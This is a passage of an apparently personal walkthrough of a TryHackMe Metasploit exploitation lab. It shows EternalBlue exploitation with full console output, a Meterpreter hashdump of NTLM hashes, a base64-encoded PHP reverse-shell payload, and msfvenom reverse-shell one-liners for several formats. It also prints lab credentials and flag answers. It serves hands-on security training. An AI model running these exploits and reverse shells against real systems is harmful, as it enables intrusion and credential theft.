   9   windows/x64/meterpreter/bind_tcp                             manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   10  windows/x64/meterpreter/bind_tcp_rc4                         manual  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)

Once you have decided on the payload, you can use the set payload command to make your choice.

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 2
payload => generic/shell_reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options 

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        (Optional) The Windows domain to use for authentication
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs


msf6 exploit(windows/smb/ms17_010_eternalblue) >

Note that choosing a working payload could become a trial and error process due to environmental or OS restrictions such as firewall rules, anti-virus, file writing, or the program performing the payload execution isn't available (eg. payload/python/shell_reverse_tcp).

Some payloads will open new parameters that you may need to set, running the show options command once more can show these. As you can see in the above example, a reverse payload will at least require you to set the LHOST option.

msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.10.186.44
lhost => 10.10.186.44
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit 

[*] Started reverse TCP handler on 10.10.186.44:4444 
[*] 10.10.12.229:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.12.229:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.12.229:445      - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.12.229:445 - Connecting to target for exploitation.
[+] 10.10.12.229:445 - Connection established for exploitation.
[+] 10.10.12.229:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.12.229:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.12.229:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.12.229:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.12.229:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.12.229:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.12.229:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.12.229:445 - Sending all but last fragment of exploit packet
[*] 10.10.12.229:445 - Starting non-paged pool grooming
[+] 10.10.12.229:445 - Sending SMBv2 buffers
[+] 10.10.12.229:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.12.229:445 - Sending final SMBv2 buffers.
[*] 10.10.12.229:445 - Sending last fragment of exploit packet!
[*] 10.10.12.229:445 - Receiving response from exploit packet
[+] 10.10.12.229:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.12.229:445 - Sending egg to corrupted connection.
[*] 10.10.12.229:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.10.186.44:4444 -> 10.10.12.229:49366) at 2021-08-20 04:51:19 +0100
C:\Windows\system32>

Once a session is opened, you can background it using CTRL + Z or abort it using CTRL + C. Backgrounding a session will be useful when working on more than one target simultaneously or on the same target with a different exploit and/or shell.

C:\Windows\system32>^Z
Background session 1? [y/N]  y
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

Active sessions
===============

  Id  Name  Type               Information                                                                       Connection
  --  ----  ----               -----------                                                                       ----------
  1         shell x64/windows  Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation...  10.10.186.44:4444 -> 10.10.12.229:49366 (10.10.12.229)

msf6 exploit(windows/smb/ms17_010_eternalblue) >

Working with sessions

The sessions command will list all active sessions. The sessions command supports a number of options that will help you manage sessions better.

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -h
Usage: sessions [options] or sessions [id]

Active session manipulation and interaction.

OPTIONS:

    -C   Run a Meterpreter Command on the session given with -i, or all
    -K        Terminate all sessions
    -S   Row search filter.
    -c   Run a command on the session given with -i, or all
    -d        List all inactive sessions
    -h        Help banner
    -i   Interact with the supplied session ID
    -k   Terminate sessions by session ID and/or range
    -l        List all active sessions
    -n   Name or rename a session by ID
    -q        Quiet mode
    -s   Run a script or module on the session given with -i, or all
    -t   Set a response timeout (default: 15)
    -u   Upgrade a shell to a meterpreter session on many platforms
    -v        List all active sessions in verbose mode
    -x        Show extended information in the session table

Many options allow specifying session ranges using commas and dashes.
For example:  sessions -s checkvm -i 1,3-5  or  sessions -k 1-2,5,6

msf6 exploit(windows/smb/ms17_010_eternalblue) >

You can interact with any existing session using the sessions -i command followed by the session ID.

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions 

Active sessions
===============

  Id  Name  Type               Information                                                                       Connection
  --  ----  ----               -----------                                                                       ----------
  1         shell x64/windows  Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation...  10.10.186.44:4444 -> 10.10.12.229:49366 (10.10.12.229)

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 1
[*] Starting interaction with 1...

C:\Windows\system32>

Deploy the new target machine and answer the questions below:

Exploit one of the critical vulnerabilities on the target VM

Hint: The target is missing the MS17-010 patch.

┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Metasploit-Exploitation]
└─$ msfconsole
Metasploit tip: Network adapter names can be used for IP options set LHOST 
eth0
                                                  
                                   ____________
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $a,        |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]                                                                                                             
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $S`?a,     |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]                                                                                                             
 [%%%%%%%%%%%%%%%%%%%%__%%%%%%%%%%|       `?a, |%%%%%%%%__%%%%%%%%%__%%__ %%%%]                                                                                                             
 [% .--------..-----.|  |_ .---.-.|       .,a$%|.-----.|  |.-----.|__||  |_ %%]                                                                                                             
 [% |        ||  -__||   _||  _  ||  ,,aS$""`  ||  _  ||  ||  _  ||  ||   _|%%]                                                                                                             
 [% |__|__|__||_____||____||___._||%$P"`       ||   __||__||_____||__||____|%%]                                                                                                             
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| `"a,       ||__|%%%%%%%%%%%%%%%%%%%%%%%%%%]                                                                                                             
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____`"a,$$__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]                                                                                                             
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%        `"$   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]                                                                                                             
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]                                                                                                             
                                                                                                                                                                                            

       =[ metasploit v6.4.50-dev                          ]
+ -- --=[ 2496 exploits - 1283 auxiliary - 431 post       ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search ms17-010

Matching Modules
================

   #   Name                                           Disclosure Date  Rank     Check  Description
   -   ----                                           ---------------  ----     -----  -----------
   0   exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1     \_ target: Automatic Target                  .                .        .      .
   2     \_ target: Windows 7                         .                .        .      .
   3     \_ target: Windows Embedded Standard 7       .                .        .      .
   4     \_ target: Windows Server 2008 R2            .                .        .      .
   5     \_ target: Windows 8                         .                .        .      .
   6     \_ target: Windows 8.1                       .                .        .      .
   7     \_ target: Windows Server 2012               .                .        .      .
   8     \_ target: Windows 10 Pro                    .                .        .      .
   9     \_ target: Windows 10 Enterprise Evaluation  .                .        .      .
   10  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   11    \_ target: Automatic                         .                .        .      .
   12    \_ target: PowerShell                        .                .        .      .
   13    \_ target: Native upload                     .                .        .      .
   14    \_ target: MOF upload                        .                .        .      .
   15    \_ AKA: ETERNALSYNERGY                       .                .        .      .
   16    \_ AKA: ETERNALROMANCE                       .                .        .      .
   17    \_ AKA: ETERNALCHAMPION                      .                .        .      .
   18    \_ AKA: ETERNALBLUE                          .                .        .      .
   19  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   20    \_ AKA: ETERNALSYNERGY                       .                .        .      .
   21    \_ AKA: ETERNALROMANCE                       .                .        .      .
   22    \_ AKA: ETERNALCHAMPION                      .                .        .      .
   23    \_ AKA: ETERNALBLUE                          .                .        .      .
   24  auxiliary/scanner/smb/smb_ms17_010             .                normal   No     MS17-010 SMB RCE Detection
   25    \_ AKA: DOUBLEPULSAR                         .                .        .      .
   26    \_ AKA: ETERNALBLUE                          .                .        .      .
   27  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution
   28    \_ target: Execute payload (x64)             .                .        .      .
   29    \_ target: Neutralize implant                .                .        .      .


Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'

msf6 > use 1
[*] Additionally setting TARGET => Automatic Target
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target m
                                             achines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machi
                                             nes.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.111.242.159   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.238.226
RHOSTS => 10.10.238.226
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.14.61.233
LHOST => 10.14.61.233
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.14.61.233:4444 
[*] 10.10.238.226:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.238.226:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.238.226:445     - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.238.226:445 - The target is vulnerable.
[*] 10.10.238.226:445 - Connecting to target for exploitation.
[+] 10.10.238.226:445 - Connection established for exploitation.
[+] 10.10.238.226:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.238.226:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.238.226:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.238.226:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.238.226:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.238.226:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.238.226:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.238.226:445 - Sending all but last fragment of exploit packet
[*] 10.10.238.226:445 - Starting non-paged pool grooming
[+] 10.10.238.226:445 - Sending SMBv2 buffers
[+] 10.10.238.226:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.238.226:445 - Sending final SMBv2 buffers.
[*] 10.10.238.226:445 - Sending last fragment of exploit packet!
[*] 10.10.238.226:445 - Receiving response from exploit packet
[+] 10.10.238.226:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.238.226:445 - Sending egg to corrupted connection.
[*] 10.10.238.226:445 - Triggering free of corrupted buffer.
[*] Sending stage (203846 bytes) to 10.10.238.226
[*] Meterpreter session 1 opened (10.14.61.233:4444 -> 10.10.238.226:49179) at 2025-04-26 12:30:07 +0200
[+] 10.10.238.226:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.238.226:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.238.226:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > 

What is the content of the flag.txt file?

Hint: You can use Meterpreter's "search" command.

meterpreter > search -h
Usage: search [-d dir] [-r recurse] -f pattern [-f pattern]...
Search for files.

OPTIONS:

    -a   Find files modified after timestamp (UTC).  Format: YYYY-mm-dd or YYYY-mm-ddTHH:MM:SS
    -b   Find files modified before timestamp (UTC). Format: YYYY-mm-dd or YYYY-mm-ddTHH:MM:SS
    -d   The directory/drive to begin searching from. Leave empty to search all drives. (Default: )
    -f   A file pattern glob to search for. (e.g. *secret*.doc?)
    -h   Help Banner
    -r   Recursively search sub directories. (Default: true)

meterpreter > search -f *flag*
Found 4 results...
==================

Path                                                             Size (bytes)  Modified (UTC)
----                                                             ------------  --------------
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag1.lnk  482           2019-03-17 20:26:42 +0100
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag2.lnk  848           2019-03-17 20:30:04 +0100
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag3.lnk  2344          2019-03-17 20:32:52 +0100
c:\Users\Jon\Documents\flag.txt                                  15            2021-07-15 04:39:25 +0200

meterpreter > cat c:\Users\Jon\Documents\flag.txt
[-] stdapi_fs_stat: Operation failed: The system cannot find the file specified.
meterpreter > cat 'c:\Users\Jon\Documents\flag.txt'
THM-<REDACTED>
meterpreter > 

Answer: THM-<REDACTED>

What is the NTLM hash of the password of the user "pirate"?

Hint: Use hashdump

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
pirate:1001:aad3b435b51404eeaad3b435b51404ee:8ce9a3ebd1647fcc5e04025019f4b875:::
meterpreter > 

Answer: 8ce9a3ebd1647fcc5e04025019f4b875

Task 6: Msfvenom

Msfvenom, which replaced Msfpayload and Msfencode, allows you to generate payloads.

Msfvenom will allow you to access all payloads available in the Metasploit framework. Msfvenom allows you to create payloads in many different formats (PHP, exe, dll, elf, etc.) and for many different target systems (Apple, Windows, Android, Linux, etc.).

root@ip-10-10-186-44:~# msfvenom -l payloads 

Framework Payloads (562 total) [--payload ]
==================================================

    Name                                                Description
    ----                                                -----------
    aix/ppc/shell_bind_tcp                              Listen for a connection and spawn a command shell
    aix/ppc/shell_find_port                             Spawn a shell on an established connection
    aix/ppc/shell_interact                              Simply execve /bin/sh (for inetd programs)
    aix/ppc/shell_reverse_tcp                           Connect back to attacker and spawn a command shell
    android/meterpreter/reverse_http                    Run a meterpreter server in Android. Tunnel communication over HTTP
    android/meterpreter/reverse_https                   Run a meterpreter server in Android. Tunnel communication over HTTPS
    android/meterpreter/reverse_tcp                     Run a meterpreter server in Android. Connect back stager
    android/meterpreter_reverse_http                    Connect back to attacker and spawn a Meterpreter shell
    android/meterpreter_reverse_https                   Connect back to attacker and spawn a Meterpreter shell
    android/meterpreter_reverse_tcp                     Connect back to the attacker and spawn a Meterpreter shell
    android/shell/reverse_http                          Spawn a piped command shell (sh). Tunnel communication over HTTP
    android/shell/reverse_https                         Spawn a piped command shell (sh). Tunnel communication over HTTPS
    android/shell/reverse_tcp                           Spawn a piped command shell (sh). Connect back stager
    apple_ios/aarch64/meterpreter_reverse_http          Run the Meterpreter / Mettle server payload (stageless)
    apple_ios/aarch64/meterpreter_reverse_https         Run the Meterpreter / Mettle server payload (stageless)
    apple_ios/aarch64/meterpreter_reverse_tcp           Run the Meterpreter / Mettle server payload (stageless)
    apple_ios/aarch64/shell_reverse_tcp                 Connect back to attacker and spawn a command shell
    apple_ios/armle/meterpreter_reverse_http            Run the Meterpreter / Mettle server payload (stageless)
    apple_ios/armle/meterpreter_reverse_https           Run the Meterpreter / Mettle server payload (stageless)
    apple_ios/armle/meterpreter_reverse_tcp             Run the Meterpreter / Mettle server payload (stageless)

Output formats

You can either generate stand-alone payloads (e.g. a Windows executable for Meterpreter) or get a usable raw format (e.g. python). The msfvenom --list formats command can be used to list supported output formats

Encoders

Contrary to some beliefs, encoders do not aim to bypass antivirus installed on the target system. As the name suggests, they encode the payload. While it can be effective against some antivirus software, using modern obfuscation techniques or learning methods to inject shellcode is a better solution to the problem. The example below shows the usage of encoding (with the -e parameter. The PHP version of Meterpreter was encoded in Base64, and the output format was raw).

root@ip-10-10-186-44:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 1507 (iteration=0)
php/base64 chosen with final size 1507
Payload size: 1507 bytes
eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzEwLjEwLjE4Ni40NCc7ICRwb3J0ID0gNDQ0NDsgaWYgKCgkZiA9ICdzdHJlYW1fc29ja2V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCJ0Y3A6Ly97JGlwfTp7JHBvcnR9Iik7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdmc29ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigkaXAsICRwb3J0KTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ3NvY2tldF9jcmVhdGUnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7ICRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICRpcCwgJHBvcnQpOyBpZiAoISRyZXMpIHsgZGllKCk7IH0gJHNfdHlwZSA9ICdzb2NrZXQnOyB9IGlmICghJHNfdHlwZSkgeyBkaWUoJ25vIHNvY2tldCBmdW5jcycpOyB9IGlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfSBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGxlbiA9IGZyZWFkKCRzLCA0KTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkcywgNCk7IGJyZWFrOyB9IGlmICghJGxlbikgeyBkaWUoKTsgfSAkYSA9IHVucGFjaygi.TmxlbiIsICRsZW4pOyAkbGVuID0gJGFbJ2xlbiddOyAkYiA9ICcnOyB3aGlsZSAoc3RybGVuKCRiKSA8ICRsZW4pIHsgc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRiIC49IGZyZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB9IH0gJEdMT0JBTFNbJ21zZ3NvY2snXSA9ICRzOyAkR0xPQkFMU1snbXNnc29ja190eXBlJ10gPSAkc190eXBlOyBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgnc3Vob3NpbicpICYmIGluaV9nZXQoJ3N1aG9zaW4uZXhlY3V0b3IuZGlzYWJsZV9ldmFsJykpIHsgJHN1aG9zaW5fYnlwYXNzPWNyZWF0ZV9mdW5jdGlvbignJywgJGIpOyAkc3Vob3Npbl9ieXBhc3MoKTsgfSBlbHNlIHsgZXZhbCgkYik7IH0gZGllKCk7));
root@ip-10-10-186-44:~#

Handlers

Similar to exploits using a reverse shell, you will need to be able to accept incoming connections generated by the MSFvenom payload. When using an exploit module, this part is automatically handled by the exploit module, you will remember how the payload options title appeared when setting a reverse shell. The term commonly used to receive a connection from a target is 'catching a shell'. Reverse shells or Meterpreter callbacks generated in your MSFvenom payload can be easily caught using a handler.

The following scenario may be familiar; we will exploit the file upload vulnerability present in DVWA (Damn Vulnerable Web Application). For the exercises in this task, you will need to replicate a similar scenario on another target system, DVWA was used here for illustration purposes. The exploit steps are;

  1. Generate the PHP shell using MSFvenom
  2. Start the Metasploit handler
  3. Execute the PHP shell

MSFvenom will require a payload, the local machine IP address, and the local port to which the payload will connect. Seen below, 10.0.2.19 is the IP address of the AttackBox used in the attack and local port 7777 was chosen.

root@ip-10-0-2-19:~# msfvenom -p php/reverse_php LHOST=10.0.2.19 LPORT=7777 -f raw > reverse_shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 3020 bytes
root@ip-10-0-2-19:~#

Please note: The output PHP file will miss the starting PHP tag commented and the end tag (?>), as seen below.

┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Metasploit-Exploitation]
└─$ head reverse_shell.php
    /*<?php /**/
      @error_reporting(0);@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);
      $dis=@ini_get('disable_functions');
      if(!empty($dis)){
        $dis=preg_replace('/[, ]+/',',',$dis);
        $dis=explode(',',$dis);
        $dis=array_map('trim',$dis);
      }else{
        $dis=array();
      }

The reverse_shell.php file should be edited to convert it into a working PHP file.

Below: Comments removed from the beginning of the file.

┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Metasploit-Exploitation]
└─$ head reverse_shell.php
<?php
      @error_reporting(0);@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);
      $dis=@ini_get('disable_functions');
      if(!empty($dis)){
        $dis=preg_replace('/[, ]+/',',',$dis);
        $dis=explode(',',$dis);
        $dis=array_map('trim',$dis);
      }else{
        $dis=array();
      }

Below: End tag added

┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Metasploit-Exploitation]
└─$ tail reverse_shell.php
          if($out===false){
            @socket_write($s,$nofuncs);
            break;
          }
        }
        @socket_write($s,$out,strlen($out));
      }
      @socket_close($s);
    }
?>

We will use Multi Handler to receive the incoming connection. The module can be used with the use exploit/multi/handler command.

Multi handler supports all Metasploit payloads and can be used for Meterpreter as well as regular shells.

To use the module, we will need to set the payload value (php/reverse_php in this case), the LHOST, and LPORT values.

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set lhost 10.0.2.19
lhost => 10.0.2.19
msf6 exploit(multi/handler) > set lport 7777
lport => 7777
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (php/reverse_php):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.19        yes       The listen address (an interface may be specified)
   LPORT  7777             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) >

Once everything is set, we will run the handler and wait for the incoming connection.

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.186.44:7777

When the reverse shell is triggered, the connection will be received by multi/handler and provide us with a shell.

If the payload was set as Meterpreter (e.g. in a Windows executable format), multi/handler would then provide us with a Meterpreter shell.

Other Payloads

Based on the target system's configuration (operating system, install webserver, installed interpreter, etc.), msfvenom can be used to create payloads in almost all formats. Below are a few examples you will often use:

Linux Executable and Linkable Format (elf)

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf

The .elf format is comparable to the .exe format in Windows. These are executable files for Linux. However, you may still need to make sure they have executable permissions on the target machine. For example, once you have the shell.elf file on your target machine, use the chmod +x shell.elf command to accord executable permissions. Once done, you can run this file by typing ./shell.elf on the target machine command line.

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp

Python

msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py

All of the examples above are reverse payloads. This means you will need to have the exploit/multi/handler module listening on your attacking machine to work as a handler. You will need to set up the handler accordingly with the payload, LHOST and LPORT parameters. These values will be the same you have used when creating the msfvenom payload.

In all these examples, LHOST will be the IP address of your attacking machine, and LPORT will be the port on which your handler will listen.

Launch the VM attached to this task

Deploy the new target machine. The username is murphy, and the password is 1q2w3e4r. You can connect via SSH or launch this machine in the browser. Once on the terminal, type sudo su to get a root shell, this will make things easier.

We start by connecting to the machine with SSH

┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Metasploit-Exploitation]
└─$ ssh murphy@10.10.178.252         
The authenticity of host '10.10.178.252 (10.10.178.252)' can't be established.
ED25519 key fingerprint is SHA256:2OHVK8AVlEx9fhYCVxoUH1opWrbV7IvkrpV0SHahhjo.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.178.252' (ED25519) to the list of known hosts.
murphy@10.10.178.252's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-1029-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Apr 26 10:56:18 UTC 2025

  System load:  0.59              Processes:           101
  Usage of /:   4.1% of 29.02GB   Users logged in:     1
  Memory usage: 20%               IP address for eth0: 10.10.178.252
  Swap usage:   0%


0 packages can be updated.
0 updates are security updates.



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Apr 26 10:55:36 2025 from 10.100.2.101
Could not chdir to home directory /home/murphy: No such file or directory
$ sudo su
[sudo] password for murphy: 
root@ip-10-10-178-252:/# 

Create a meterpreter payload in the .elf format

Then we create a meterpreter payload in ELF-format at our Kali machine

┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Metasploit-Exploitation]
└─$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.14.61.233 LPORT=12345 -f elf > rev_shell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes

Transfer it to the target machine

We transfer the rev_shell to the target machine with scp

┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Metasploit-Exploitation]
└─$ scp rev_shell murphy@10.10.178.252:/tmp/rev_shell
murphy@10.10.178.252's password: 
rev_shell                                                                                                                                                 100%  250     5.4KB/s   00:00  

And create a multi-handler listener

┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Metasploit-Exploitation]
└─$ msfconsole 
Metasploit tip: Display the Framework log using the log command, learn 
more with help log
                                                  

         .                                         .                                                                                                                                        
 .                                                                                                                                                                                          
                                                                                                                                                                                            
      dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                       o
       '   dB'                     BBP
